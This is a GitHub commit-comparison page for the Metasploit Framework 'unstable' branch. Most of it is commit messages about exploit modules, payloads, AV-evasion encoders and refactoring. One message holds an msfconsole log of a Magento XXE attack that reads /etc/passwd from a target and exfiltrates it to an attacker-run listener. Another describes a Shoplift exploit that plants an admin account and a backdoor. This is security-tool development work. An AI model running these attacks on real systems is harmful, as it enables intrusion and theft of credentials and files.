Compare commits

...

419 Commits

Author SHA1 Message Date
William Vu ba0ead6915 Remove scrollout_loadlogs_exec for @bcoles 2017-04-21 21:24:06 -05:00
wchen-r7 6412c66848 Move #6900 into unstable 2016-07-20 15:17:32 -05:00
wchen-r7 aec434f4aa Fix unstable branch 2016-07-20 15:12:45 -05:00
wchen-r7 969abadba6 Update unstable 2016-07-20 13:10:17 -05:00
James Lee b057a9486c Don't use ssh agent 2016-07-19 17:07:22 -05:00
James Lee a54945c82c whitespace 2016-07-19 17:07:17 -05:00
James Lee ff63e6e05a Land #7018, unvendor net-ssh 2016-07-19 17:06:35 -05:00
dmohanty-r7 8d8e1f80f5 Land #7102, remove struct2 code in favor of rex-struct2 2016-07-18 11:44:17 -05:00
dmohanty-r7 c8d009209f Bring rex-powershell version to master's version 2016-07-18 11:42:07 -05:00
Metasploit b954b6d5c1 Bump version of framework to 4.12.15 2016-07-18 08:42:20 -07:00
wchen-r7 26da2a2ce5 Land #7105, Fix typo in post/windows/gather/usb_history 2016-07-17 18:01:06 -05:00
wchen-r7 6d8dd24e41 Land #7104, Update ActiveRecord syntax for framework db cred iteration 2016-07-17 17:57:06 -05:00
wchen-r7 01c5662b61 Land #7100, Change Burp import to allow blank references 2016-07-17 17:35:46 -05:00
ktreimann e3801c425b Fix typo in USB error message 2016-07-16 09:43:48 -04:00
Brent Cook 2041870e62 Update ActiveRecord syntax for framework db credential iteration 2016-07-15 22:01:54 -05:00
David Maloney 20d7e9a7a7 remove old struct2 code in favour of gem
use the new rex-struct2 gem and remove the code form it's old location

MS-1782
2016-07-15 16:01:21 -05:00
Metasploit b13d0f879a Bump version of framework to 4.12.14 2016-07-15 10:03:28 -07:00
Brent Cook b08d1ad8d8 Revert "Land #6812, remove broken OSVDB references"
This reverts commit 2b016e0216, reversing
changes made to 7b1d9596c7.
2016-07-15 12:00:31 -05:00
Brendan 3ed6632f88 Let's actually delete the line.... 2016-07-15 08:47:29 -07:00
David Maloney 1ea425aff1 update ssh login_scanner spec
the spec needs to be updated for the non_interactive flag
2016-07-14 15:30:20 -05:00
Brendan db2850b51c Changed the Burp import to import vulns with blank references 2016-07-14 13:03:24 -07:00
David Maloney b6b52952f4 set ssh to non-interactive
have to set the non-interactive flag so that it does not
prompt the user on an incorrect password

MS-1688
2016-07-14 11:12:03 -05:00
David Maloney 01d0d1702b Merge branch 'master' into feature/MS-1688/net-ssh-cleanup 2016-07-14 09:48:28 -05:00
thao doan 9862a2fc25 Land #7080, Updated docs and made enhancements for Netgear soap password extractor 2016-07-13 14:30:46 -07:00
thao doan 78bfced8dd Land #7091, Add docs for Windows Meterpreter reverse HTTPS 2016-07-13 14:21:05 -07:00
William Vu b2c3267a2a Land #7042, fetch_ninja_form_nonce/wponce fix 2016-07-13 11:38:11 -05:00
Brent Cook ee90e5e96d update payload sizes 2016-07-13 01:06:05 -05:00
Brent Cook ea94e9752a bump to metasploit-payloads 1.1.13
Includes these PRs:
  https://github.com/rapid7/metasploit-payloads/pull/106
  https://github.com/rapid7/metasploit-payloads/pull/104
  https://github.com/rapid7/metasploit-payloads/pull/103
2016-07-13 00:50:09 -05:00
Brent Cook 5e993a6823 sync gem versions (already using these on Pro) 2016-07-13 00:44:35 -05:00
Brent Cook fcdb32795d Land #6777, Linux Xen 4.2.0 DoS 2016-07-13 00:40:42 -05:00
Brent Cook 7b5e3a880d added module docs and some output tweaks for consistency with other modules 2016-07-13 00:38:46 -05:00
Brent Cook 3e6fed7958 update metadata 2016-07-13 00:13:02 -05:00
Brent Cook 0304b2c1e2 simplify logic, Ubuntu support 2016-07-12 23:50:32 -05:00
wchen-r7 8f928c6ca1 Land #7006, Add MS16-032 Local Priv Esc Exploit 2016-07-12 15:22:35 -05:00
wchen-r7 815c426b4d Match naming style 2016-07-12 15:18:39 -05:00
wchen-r7 621f3fa5a9 Change naming style 2016-07-12 15:18:18 -05:00
James Lee 556620d981 Fix pack on big endian host systems 2016-07-12 15:17:52 -05:00
wchen-r7 f11b84f106 Update wfsdelay and check for ms16-032 2016-07-12 15:17:21 -05:00
James Lee e9350986a4 Style 2016-07-12 14:51:37 -05:00
James Lee 1a15fc1c2e Whitespace 2016-07-12 14:51:37 -05:00
William Webb 8f73167b15 Land #7060, Fix up the 64-bit BSD reverse shell 2016-07-12 14:37:51 -05:00
William Vu f164afaef8 Land #6932, joomla_contenthistory_sqli_rce fixes 2016-07-12 14:26:49 -05:00
James Lee c3e8f81982 Land #7038, zutto_deriku, an x64 encoder 2016-07-12 13:46:55 -05:00
wchen-r7 af3ac60e28 Land #7087, Fix Beholder migration with multiple users 2016-07-12 11:48:33 -05:00
William Vu 310332b521 Clean up module 2016-07-12 11:17:10 -05:00
wchen-r7 b869b890c7 Land #7090, Add module for Tikiwiki Upload Exec 2016-07-12 11:16:50 -05:00
wchen-r7 2471e8bc8c Add FileDropper to cleanup properly 2016-07-12 11:16:18 -05:00
William Vu 277950cc79 Land #6733, psexec StackAdjustment fix 2016-07-12 11:14:16 -05:00
wchen-r7 f6751f3c90 Fix typos 2016-07-12 10:56:41 -05:00
thao doan a79f6fccad Land #7092, Added minor changes to the Windows Meterpreter docs 2016-07-12 08:15:28 -07:00
Mehmet Ince 43833c8756 Fixing double normalize function call 2016-07-12 07:30:18 +03:00
Brent Cook 2b016e0216 Land #6812, remove broken OSVDB references 2016-07-11 22:59:11 -05:00
Pearce Barry 7b1d9596c7 Land #7068, Introduce 'mettle' - new POSIX meterpreter 2016-07-11 22:38:40 -05:00
Brent Cook 117a0945b1 Land #7079, Import, sign, and publish signed dev keys 2016-07-11 22:19:45 -05:00
Brent Cook 627fffdb08 Land #7089, correct usage of OptPort and OptRegex 2016-07-11 22:13:27 -05:00
Brent Cook 128f802928 use the regex source when generating or displaying a regex 2016-07-11 22:05:50 -05:00
Brent Cook 79fd648bbe don't double-encapsulate regexes on normalize 2016-07-11 22:05:00 -05:00
wchen-r7 6ab0dbc321 fix header 2016-07-11 15:34:14 -05:00
wchen-r7 2c7ffcc3a8 Update windows/meterpreter/reverse_tcp doc about sleep control 2016-07-11 15:32:49 -05:00
khr0x40sh 7211936f96 Fix Payload exit issue
Fixed payload exiting issue by adding while ($true){Start-Sleep 1000};
statement.
2016-07-11 16:21:08 -04:00
wchen-r7 8817de793a Add module documentation for windows/meterpreter/reverse_https 2016-07-11 15:18:18 -05:00
Mehmet Ince fc56ab6722 Fixing some coding style because of rubocop 2016-07-11 23:10:18 +03:00
Mehmet Ince e79c3ba7c0 Tiki Wiki unauth rce 2016-07-11 22:44:07 +03:00
William Vu 108c3961e2 Make sure GATEWAY_PROBE_PORT is 0
This ensures that dst_port is set for UDPSocket#send.
2016-07-11 12:10:46 -05:00
Brendan 963437d5e7 Land #7063, Add module for WebNMS 5.2 Arbitrary File Download 2016-07-11 10:05:21 -07:00
Brendan c2a5da08af Land #7064, Add moule to steal creds from WebNMS 5.2 2016-07-11 06:38:50 -07:00
Josh Hale ffa340500f Tweek migration - Check rights to process before migrate 2016-07-10 19:05:59 -05:00
William Webb 52c6daa0f2 Land #7048, Riverbed SteelCentral NetProfiler and NetExpress Remote
Command Injection
2016-07-10 18:54:12 -05:00
Francesco b75084249a Removed duplicate 'Privileged' key 2016-07-10 01:37:03 -04:00
William Webb 92a592d303 Land #7083, Fix description for linux/misc/mongod_native_helper.rb 2016-07-09 14:25:47 -05:00
h00die fdce5bc30c add disclosure date 2016-07-09 09:30:00 -04:00
Pedro Ribeiro 0a40e7d8f5 Merge pull request #28 from bwatters-r7/updates-7063
Added error checking and some suggested style changes
2016-07-09 12:49:56 +01:00
Pedro Ribeiro 55f27fb6fe Merge pull request #27 from bwatters-r7/changes-7064
Added version check and error handling, changed regex to ruby syntax.
2016-07-09 12:47:46 +01:00
sho-luv 25f49c0091 Fixed Description
Just cleaned up Description.
2016-07-08 16:17:39 -07:00
William Webb 202969fae9 Land #7081, Add module documentation for linux/x86/meterpreter/reverse_tcp 2016-07-08 15:51:27 -05:00
Metasploit 48410f3ab2 Bump version of framework to 4.12.13 2016-07-08 10:01:58 -07:00
Brendan bbe4162320 Added error checking and some suggested style changes 2016-07-08 08:27:56 -07:00
Brendan 09dcd1dade Added version check and error handling, changed regex to ruby syntax.
Also made a few syntax changes to placate rubocop.
2016-07-07 10:35:18 -07:00
wchen-r7 deecb24967 Update doc 2016-07-07 11:43:03 -05:00
wchen-r7 54fa43030d Add module documentation for linux/x86/meterpreter/reverse_tcp 2016-07-07 11:39:28 -05:00
h00die 892f354ece give me some credit 2016-07-06 21:39:45 -04:00
h00die 47cf6d5edf better docs, extract more data 2016-07-06 21:28:57 -04:00
Brent Cook 1c8556d8e0 add mettle payload tests 2016-07-06 15:53:20 -05:00
Brent Cook a362d8b9c8 update payload test generator to work with MetasploitModules 2016-07-06 15:53:06 -05:00
Tod Beardsley 7a321c7350 Import, sign, and publish signed dev keys
This largely automates the process of importing developer keys,
much like `import-dev-keys.sh`, but also takes the additional, sadly
manual step of signing the key with your default key, and uploading
those keys to https://sks-keyservers.net.

In effect, you are stating that you trust keys published on keybase.io
and are listed as such on the official Metasploit-Framework development
wiki.

If your own default key either has no passphrase, or has a passphrase
cached in a keymanager, the process merely requires you hit `y` for
every key, and `y` again for keys with multiple IDs. Otherwise, you
will need to provide your passphrase for each signing. Temporarily
removing the passphrase alleviates this pain.

Of course, this assumes you actually trust the development wiki
and keybase to do the right thing. The tradition is to individually
verify each key through some personally invented means, such as in
person with a government ID check.

Note that `import-dev-keys.sh` currently lists a number of keys
not on Keybase, and that functionality has not been carried over
to this script.
2016-07-06 10:33:02 -05:00
Brent Cook 21bede1166 unify stager style 2016-07-05 11:24:54 -05:00
Brent Cook e404dfeaea update to gem 0.0.5 (with libev/eio support) 2016-07-05 11:24:54 -05:00
Brent Cook 049b322ae4 add x86 and x64 stagers for mettle 2016-07-05 11:24:54 -05:00
Adam Cammack 8490a3b775 Remove hard-float requirement for MIPS O32 2016-07-05 11:24:54 -05:00
Adam Cammack 0390ed4d6e Add MIPS O32 Linux support (big and little endian) 2016-07-05 11:24:54 -05:00
Adam Cammack 8de508c4e0 Add mettle module for ARM 2016-07-05 11:24:54 -05:00
Adam Cammack 2f3f655352 Add gem for mettle
This adds the gem for the mettle binaries, which contains reflective
payloads for a variety of Linux architectures (and more OSs in the
future)
2016-07-05 11:24:54 -05:00
David Maloney 8b430826c6 merge screwed up gesmepc
add net-ssh back into the gemspec
2016-07-05 11:08:57 -05:00
David Maloney 5f9f3259f8 Merge branch 'master' into feature/MS-1688/net-ssh-cleanup 2016-07-05 10:48:38 -05:00
agix 7d638a0975 Remove misc_anti_emu 2016-07-05 17:29:37 +02:00
Pedro Ribeiro ec4769fade Create exploit for WebNMS credential disclosure 2016-07-04 21:15:15 +01:00
Pedro Ribeiro 05ef5316df Create exploit for WebNMS arbitrary file download 2016-07-04 21:10:14 +01:00
Pedro Ribeiro cf95c9f7f5 Merge pull request #25 from rapid7/master
asasa
2016-07-04 21:05:05 +01:00
Hans Jerry Illikainen 78335f8e20 Update the cache size in bsd/x64/shell_reverse_tcp 2016-07-04 00:35:52 +02:00
Hans Jerry Illikainen f246aa0b58 dup2() to STDERR_FILENO in bsd/x64/shell_reverse_tcp 2016-07-04 00:00:33 +02:00
Hans Jerry Illikainen 54092177a2 Remove superfluous xor in bsd/x64/shell_reverse_tcp 2016-07-03 23:53:11 +02:00
Francesco 4ed12d7077 Added: support for credentials saving using report_cred method as suggested
Added: support for detection of valid user credentials to skip login SQLi if not necessary.
2016-07-02 01:41:13 -04:00
agix 3edb0b3625 Reduce chance to get a null byte in the decoder stub 2016-06-30 19:14:32 +02:00
agix 31ea58d7f0 Inherit from Msf::Encoder::Xor to get key preventing badchars
I guess it what Msf::Encoder::Xor find_bad_keys is for.
2016-06-30 18:29:30 +02:00
wchen-r7 1ecef265a1 Do a fail_with in case nonce is not found at all 2016-06-30 11:21:45 -05:00
wchen-r7 e2b9225907 Fix #7022, Failing to find wpnonce in fetch_ninja_form_nonce
This patch fixes a problem when the module is used against an older
version of ninja forms (such as 2.9.27), the nonce is found in a
hidden input instead of the JavaScript code, which actually causes
an undefined method 'gsub' bug in the module.

Fix #7022
2016-06-30 11:15:38 -05:00
Francesco 068a4007de Riverbed SteelCentral NetProfiler & NetExpress Exploit Module
Changes to be committed:
    new file:   modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb
2016-06-29 22:27:40 -04:00
agix 8a777bec41 Forget to rename function after msftidy correction 2016-06-29 23:30:48 +02:00
agix c489c5ce3e Add two x64 encoders to improve anti-virus evasion 2016-06-29 23:11:24 +02:00
David Maloney a796a1bc63 wierd namespace issues? 2016-06-28 16:13:49 -05:00
David Maloney 39fa8bf2d4 missing require 2016-06-28 15:40:56 -05:00
David Maloney 3d93c55174 move sshfactory into a mixin method
use a convience method to DRY up creation
of the SSHFactory inside modules. This will make it easier
to apply changes as needed in future. Also changed msframework attr
to just framework as per our normal convention

MS-1688
2016-06-28 15:23:12 -05:00
David Maloney ee2d1d4fdc Merge branch 'master' into feature/MS-1688/net-ssh-cleanup 2016-06-28 15:00:35 -05:00
David Maloney 409e26351b remove test module
sponge left in patient
2016-06-24 15:12:47 -05:00
David Maloney 6c3871bd0c update ssh modules to use new SSHFactory
updated all of our SSh based module to use the
new SSHFactory class to plug Rex::Sockets into
Net::SSH

MS-1688
2016-06-24 13:55:28 -05:00
David Maloney 5bc513d6cd get ssh sessions working properly
ssh sessions now working correctly

MD-1688
2016-06-24 12:14:48 -05:00
khr0x40sh 40d7de05ef Fix Payload Generation
Payload generation now only occurs once and function 'setup_pay'
removed.  Payload is generated with cmd_psh_payload and is mutated to
fit dropped text file.
2016-06-23 11:20:22 -04:00
David Maloney 3e94abe555 put net:ssh::commandstream back
this was apparently our own creation for doing
ssh sessions

MD-1688
2016-06-22 15:02:36 -05:00
David Maloney 6072697126 continued 2016-06-22 14:54:00 -05:00
David Maloney 140621ad9b start to move to canonical net-ssh
removed vendored net::ssh
pulled in net:ssh gem
made Rex::Socket::SSHFactory clas to bridge rex sockets in
Renamed getpeername to getpeername-as_array to not override
core socket behaviour

MS-1688
2016-06-22 14:52:33 -05:00
khr0x40sh df1a9bee13 Move ps1, Use Env var, Fix license, New Cleanup
MS16-032 ps1 moved to external file.  This ps1 will now detect windir
to find cmd.exe.  The module now also detects windir to find
powershell.exe.  The license is now BSD_LICENSE, and the required
copyright has been moved to the ps1. The previous optional cleanup stage
 is now standard.  The optional 'W_PATH' assignment is corrected to
select the user's variable unless 'W_PATH' is nil.
2016-06-22 09:25:48 -04:00
khr0x40sh b9d0bcc193 Add MS16-032 Local Priv Esc Exploit to tree
This module will use the powershell port of ms16-032 created by
@FuzzySec.  All payloads are pushed to a compress powershell script in a
plain text file on the disk to execute.
2016-06-21 14:56:12 -04:00
amarionette 4354b5d5d6 Changed class from Metasploit3 to MetasploitModule 2016-06-03 17:43:41 -07:00
amarionette 99790e343d Removed debug statement 2016-06-03 17:36:00 -07:00
a-marionette 7f92088242 Revised the SQL query for the exploits/unix/webapps/joomla_content_history_sqli_rce.rb. The exploit is now working for me. 2016-06-01 09:47:32 -07:00
Vex Woo d9efc8d803 set platform -> python 2016-05-25 19:32:55 -05:00
Vex Woo 34a5ce4816 Exploit::CheckCode::Vulnerable --> Exploit::CheckCode::Appears 2016-05-25 04:07:09 -05:00
Vex Woo b893f17d2b make unauth? as what api doc says 2016-05-25 04:05:30 -05:00
Vex Woo 55e22d7531 resp.get_json_document.empty? 2016-05-25 03:45:43 -05:00
Vex Woo 2715883fa2 fix url 2016-05-20 10:54:14 -05:00
Vex Woo ffc730160b add couchDB unauth remote rce module 2016-05-20 10:12:28 -05:00
wchen-r7 4676d70918 rm osvdb condition 2016-04-24 18:36:33 -05:00
wchen-r7 4a95e675ae Rm empty references 2016-04-24 11:46:08 -05:00
wchen-r7 2edd6869fc rm references key 2016-04-24 03:09:59 -05:00
wchen-r7 816bc91e45 Resolve #6807, remove all OSVDB references.
OSVDB is no longer a vulnerability database, therefore all the
references linked to it are invalid.

Resolve #6807
2016-04-23 12:32:34 -05:00
CSendner 2319629dd8 Update comments 2016-04-13 05:03:11 +02:00
Christoph Sendner 4970047198 ./modules/post/linux/dos/xen_420_dos.rb 2016-04-13 03:31:02 +02:00
wchen-r7 8841e3b5c7 Move #5410 to unstable 2016-03-31 18:23:53 -05:00
Brent Cook 4c2e130470 fix spelling 2016-03-31 09:25:24 -05:00
Brent Cook 1ea7cf27a3 remove StackAdjustment from psexec 2016-03-30 23:38:46 -05:00
wchen-r7 ad474f95bb Land #6235 to unstable, Add a module for the recent magento XXE
We are unable to get this module to work reliably, please see #6235
for more info.
2016-03-30 17:29:03 -05:00
wchen-r7 7b740af67e Land #6250 to unstable, Add a module for Magento's Shoplift RCE
Unable to get a reliable session. Please see #6250 for more info.
2016-03-30 17:24:13 -05:00
jvoisin 8151a0dca7 Fix the previous commut 2015-12-28 16:31:10 +01:00
jvoisin 6abff3aa30 Add an informative error message in case of failure
Sometimes, the application has no write permission,
we should tell the user about that.
2015-12-28 14:14:20 +01:00
jvoisin 24ad1aca52 Fix created file permission, thanks to johnlockejrr 2015-12-25 16:59:36 +01:00
jvoisin 3c629131ab The module is now working with apache2 2015-12-02 23:41:48 +01:00
jvoisin 7e511a280e Improvements for cross-version compatibility
The main improvement here is that the CSRF token is no more
mandatory, since some versions of Magento doesn't have some
for every operation.

This module is now working on magento ce 1.9.0.0 and 1.9.1.0
2015-11-23 19:06:46 +01:00
jvoisin ec77b734ee Fix some mistakes pointed by @void-in 2015-11-17 19:09:13 +01:00
jvoisin 33eac94f18 Add a module for Magento's Shoplift RCE
This module exploits the infamous Magento's Shoplift vulnerability
to create a new admininitrator account,
then it creates a backdoor module on the fly,
and install it to achieve code execution.
2015-11-17 17:23:33 +01:00
jvoisin 0e39bef70f Fix some rubocop warnings 2015-11-16 13:52:16 +01:00
jvoisin ec6540b806 Add a module for the recent magento XXE
```
jvoisin@kaa 16:10 /opt/msf ./msfconsole

 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v4.11.5-dev-9a0f0a7                  ]
+ -- --=[ 1505 exploits - 867 auxiliary - 251 post        ]
+ -- --=[ 434 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/gather/magento_xxe
msf auxiliary(magento_xxe) > set RPORT 8080
RPORT => 8080
msf auxiliary(magento_xxe) > set SRVHOST 192.168.1.11
SRVHOST => 192.168.1.11
msf auxiliary(magento_xxe) > setg RHOST 192.168.1.25
RHOST => 192.168.1.25
msf auxiliary(magento_xxe) > show options

Module options (auxiliary/gather/magento_xxe):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILEPATH   /etc/passwd      yes       The filepath to read on the server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.25     yes       The target address
   RPORT      8080             yes       The target port
   SRVHOST    192.168.1.11     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base Magento directory path
   URIPATH    fetch.php        yes       The URI path to use for this exploit to get the data back
   VHOST                       no        HTTP server virtual host

msf auxiliary(magento_xxe) > run

[*] Using URL: http://192.168.1.11:8080/fetch.php
[*] Server started.
[*] 192.168.1.25     magento_xxe - Got an answer from the server.
[+] 192.168.1.25     magento_xxe - File /etc/passwd found and saved to path: /home/jvoisin/.msf4/loot/20151113163706_default_192.168.1.25_magento.file_415167.txt
[*] Server stopped.
[*] Auxiliary module execution completed
```

1. [ ] Get the "Community Edition" of magento on [its website]( https://www.magentocommerce.com/download ) (Feel free to use bugmenot@mailinator.com/Password1 to log in)
2. [ ] Install nginx and php-fpm. This is the configuration that I used:
```
server {
    listen 0.0.0.0:8080  default;
    listen 192.168.1.25:8080;
    server_name _;
    root /var/www2/;
    index index.php;

    location = /js/index.php/x.js { rewrite ^(.*\.php)/ $1 last; }

    location / { try_files $uri $uri/ @rewrite; }
    location @rewrite { rewrite / /index.php?$args; }
    location ~ \.php$ {
	try_files $uri =404;
	fastcgi_pass unix:/var/run/php5-fpm.sock;
	fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
	include fastcgi_params;
    }
}
```

3. [ ] Launch metasploit, `use auxiliary/gather/magento_xxe`, set
options
4. [ ] Get your file exfiltrated in your loot.

1. The XML is hand-crafted because I don't know how to Nokogiri
2. I'm quite sure that the `service.stop` in the `primer` function is
wrong. What is the regular way to handle this?
2015-11-13 16:40:04 +01:00
jvazquez-r7 70a85675f1 Land phpmyadmin login scanner into unstable
* See https://github.com/rapid7/metasploit-framework/pull/5568
2015-11-05 14:16:56 -06:00
jvazquez-r7 10f24ddd57 Move php_myadmin_login to unstable folder 2015-11-05 14:14:13 -06:00
jvazquez-r7 ccd6a399c8 Checkout pr materials 2015-11-05 14:13:21 -06:00
jvazquez-r7 febf5ef08f Merge remote-tracking branch 'upstream/master' into unstable 2015-11-05 14:09:38 -06:00
jvazquez-r7 00d2756b63 Land #6062, @shipcod3's PCMAN FTP Server exploit, into unstable
* Original PR: https://github.com/rapid7/metasploit-framework/pull/5864
2015-10-08 12:11:11 -05:00
jvazquez-r7 ca47bf553c Land module as incomplete 2015-10-08 12:07:10 -05:00
jvazquez-r7 0174506e07 Merge remote-tracking branch 'upstream/master' into unstable 2015-10-08 12:02:50 -05:00
jvazquez-r7 ef50d04258 Land #5603 to unstable 2015-09-04 14:02:36 -05:00
jvazquez-r7 9735b26b30 Move git scanner to unstable 2015-09-04 13:59:24 -05:00
jvazquez-r7 4551a5814d Land #5798, move PackRat post module to unstable
* Close #5433 by moving the module to unstable
2015-07-31 19:10:49 -05:00
jvazquez-r7 6401062fec Move #5433 module to unstable 2015-07-31 19:07:40 -05:00
jvazquez-r7 809dfc0ac8 Update unstable with rapid7/master changes 2015-07-31 19:03:07 -05:00
jvazquez-r7 a5fdd1d1f0 Land #5796, Close #5385 by moving it to unstable 2015-07-31 18:35:59 -05:00
jvazquez-r7 8c0facda4c Move #5385 WP module to unstable 2015-07-31 18:32:18 -05:00
rastating e2aa53d528 Add plugin creation 2015-06-01 22:25:29 +01:00
rastating 565967d649 Add script encoding to module 2015-05-31 18:37:37 +01:00
rastating 9f668a9509 msftidy and rubocop fixes 2015-05-31 14:24:04 +01:00
rastating 828eca0a92 Add privilege escalation to module 2015-05-31 14:15:04 +01:00
rastating 6c7ab33f49 Add async support to ajax_download 2015-05-31 13:33:05 +01:00
rastating aa063953f9 Add new user URL to WordPress URI mixin 2015-05-31 13:03:46 +01:00
rastating a6ad51794d Add plugin installer to WordPress URI mixin 2015-05-31 00:10:47 +01:00
rastating 625d80ed6f Fix title to comply with msftidy 2015-05-24 16:22:33 +01:00
rastating 91fedd16eb Update title to include version number and be more concise 2015-05-24 15:36:54 +01:00
rastating dfb03c1dbe Add extra references 2015-05-24 14:20:25 +01:00
rastating fc07d83596 Add wp_photo_album_plus_stored_xss module 2015-05-24 14:08:41 +01:00
jvazquez-r7 955929ee5c Land #5406, which closes #4915 by moving cn_caidao_backdoor_bruteforce to unstable 2015-05-22 10:50:32 -05:00
jvazquez-r7 42bc9adcbf Move cn_caidao_backdoor_bruteforce to incomplete 2015-05-22 10:45:30 -05:00
jvazquez-r7 36202daf26 Merge remote-tracking branch 'upstream/master' into unstable 2015-05-22 10:36:44 -05:00
jvazquez-r7 d315f26bee Land #5195, @benpturner smart persistence post module into unstable 2015-05-18 15:13:33 -05:00
jvazquez-r7 696c909e82 Move module to the unstable folder 2015-05-18 15:10:53 -05:00
jvazquez-r7 2e3438f792 Merge remote-tracking branch 'upstream/master' into unstable 2015-05-18 15:06:25 -05:00
jvazquez-r7 cae6931015 Land #5008 into unstable 2015-03-25 13:56:51 -05:00
jvazquez-r7 cd7bf454e3 Move module to unstable 2015-03-25 13:47:47 -05:00
jvazquez-r7 48a1ff9f6b Merge remote-tracking branch 'upstream/master' into unstable 2015-03-25 13:44:57 -05:00
jvazquez-r7 6c4d96a9b5 Land #4965, Move Rocket U2 Unidata to unstable
Move module to unstable and close #4320
2015-03-20 11:04:17 -05:00
jvazquez-r7 44694e84fe Move module to untested folder 2015-03-20 10:59:26 -05:00
jvazquez-r7 8f0b15c4e6 Land #4964 into unstable
* Moves #3707 to unstable
2015-03-20 10:40:48 -05:00
jvazquez-r7 375aadcac9 Move schtasks (#3707) to incomplete 2015-03-20 10:36:24 -05:00
jvazquez-r7 f1752cd47f Merge remote-tracking branch 'upstream/master' into unstable 2015-03-20 10:33:19 -05:00
Tod Beardsley 8bbd3060da Move #3636 swaparoo.rb to unstable 2015-02-18 16:11:00 -06:00
Tod Beardsley bc6430b6d5 Merge master to unstable 2015-02-18 16:06:30 -06:00
jvazquez-r7 5ad9570ef8 Land #4677, Close #3199 by moving wd_mycloud_api_csrf_exec to unstable 2015-01-30 11:59:22 -06:00
jvazquez-r7 e597badd97 Land #4676, move #4477 module to unstable (wp_cm_download_manager_exec) 2015-01-30 11:48:07 -06:00
jvazquez-r7 895aef65a9 Move wd_mycloud_api_csrf_exec to untested 2015-01-30 11:42:50 -06:00
jvazquez-r7 f054e22047 Move wp_cm_download_manager_exec to untested folder 2015-01-30 11:24:35 -06:00
jvazquez-r7 7e0aee396b Merge remote-tracking branch 'upstream/master' into unstable 2015-01-30 11:16:54 -06:00
Tod Beardsley c42121fd70 Merge master into unstable 2015-01-22 15:05:21 -06:00
parzamendi-r7 13e148794c Merge #4103 2015-01-19 19:00:37 -06:00
Tod Beardsley 3256419d7e Merge upstream/master to unstable 2014-10-14 13:18:40 -05:00
Tod Beardsley 62ac43d2db Revert "Add bthpan.rb to unstable"
This reverts commit b10cbe4fab.

bthpan.rb is now in the master branch, as of PR #3651
2014-10-14 13:17:56 -05:00
Jay Smith b10cbe4fab Add bthpan.rb to unstable
Closes #3651 by moving this module to unstable.

I asked @KoreLogicSecurity if he would be so kind as to test the
changes, and haven't heard back from him in 27 days. Assuming this is
abandoned.

If you'd like to reopen #3651, just say so with your results. Otherwise,
someone else can pick up this work and carry on.
2014-09-11 15:33:33 -05:00
Tod Beardsley ace51a6fff Merge branch 'upstream-master' into unstable 2014-09-11 15:30:06 -05:00
Tod Beardsley 2fbde41050 Merge master down to unstable 2014-09-02 13:16:47 -05:00
Tod Beardsley 8771a79e45 Merge branch 'upstream-master' into unstable
It's been a while.
2014-06-12 12:48:42 -05:00
William Vu e28898a214 Land #2943, unstable hp_sys_mgmt_anonymous_access 2014-02-04 14:38:51 -06:00
Tod Beardsley af1458a9b8 Add HP Sys Mgmt Anon Access Scanner
See PR #2845. The submitter decided against taking code review advice.
Stashing in unstable in case some scrappy young exploit dev wants to
take a crack at it.
2014-02-04 14:27:16 -06:00
Tod Beardsley ef82b78014 Merge master into unstable. 2014-02-04 14:26:01 -06:00
Tod Beardsley 273fc03807 Land #2887, cleanup in aisle UNSTABLE 2014-01-16 16:42:02 -06:00
William Vu f8e34598ce Clean up unstable 2014-01-16 16:34:07 -06:00
William Vu 00527019b2 Land #2880, update unstable to master 2014-01-14 11:43:47 -06:00
Tod Beardsley 95e0c136b8 Merge master down into unstable
Need to pick up the latest hotness, namely, .travis.yml, but surely
other moving targets as well to ensure that unstable runs cleanly.

Land this so #2875 can land without freaking Travis-CI out about a bad
rake version.
2014-01-14 11:35:33 -06:00
jvazquez-r7 927e35b4fc Update f5_bigip_fileaccess description 2013-12-02 13:44:50 -06:00
jvazquez-r7 b27dcf7425 Minor fixes for f5_bigip_fileaccess 2013-12-02 13:39:04 -06:00
jvazquez-r7 b144788379 Fix f5_bigip_fileaccess msftidy warnings 2013-12-02 13:37:26 -06:00
jvazquez-r7 2f4ec1f33f Land #2144, @viable-hartman module for F5 BIG-IP XXE 2013-12-02 13:32:35 -06:00
Viable.Hartman d61c7383d0 Merge pull request #1 from jvazquez-r7/f5_big_ip_work
Minor cleanup for f5_bigip_fileaccess
2013-11-12 10:31:40 -08:00
James Lee 5831242522 Land #2619, update unstable 2013-11-08 14:21:02 -06:00
Tabassassin 4335e569e7 Retab the unstable modules. 2013-11-07 23:44:41 -06:00
Tod Beardsley c5f52ba0b1 Merge master to unstable so it's possible to merge back
This should also resolve the conflict introduced by #1913 (and #1062).
Unstable modules should hit the unstable directory to avoid problems like this.

Conflicts:
	unstable-modules/exploits/incomplete/multi/http/splunk_upload_app_exec.rb
2013-11-07 23:37:23 -06:00
Tod Beardsley a679411751 Move unstable module to the right directory
According to #1913, this is incomplete, however, dropping it straight
into the unstable branch is causing conlicts with master.
2013-11-07 23:23:52 -06:00
jvazquez-r7 3356d75da8 Minor cleanup for f5_bigip_fileaccess 2013-08-08 12:15:36 -05:00
viable.hartman 84ddb259e3 Merge branch 'master' into module-cve-2012-2997 2013-08-07 09:48:44 -07:00
viable.hartman 73f43686a0 Modified f5_bigip_fileaccess as requested in pull request discussion 2144 2013-08-07 09:48:37 -07:00
viable.hartman 1836d3e17b Merge remote-tracking branch 'upstream/master' 2013-08-07 09:30:00 -07:00
viable.hartman aa53c3ba88 Get arbitrary file access to F5 files with a valid username and password 2013-08-02 12:47:31 -07:00
jvazquez-r7 1b2c5392f4 Put #1869 in unstable until we can test it or pcap is shared 2013-07-25 15:41:39 -05:00
viable.hartman a896b71340 Get arbitrary file access to F5 files with a valid username and password via XML entity attack. 2013-07-22 12:03:55 -07:00
sinn3r 70f8405fc6 Merge branch 'unstable' of github.com:rapid7/metasploit-framework into unstable 2013-06-22 01:06:24 -05:00
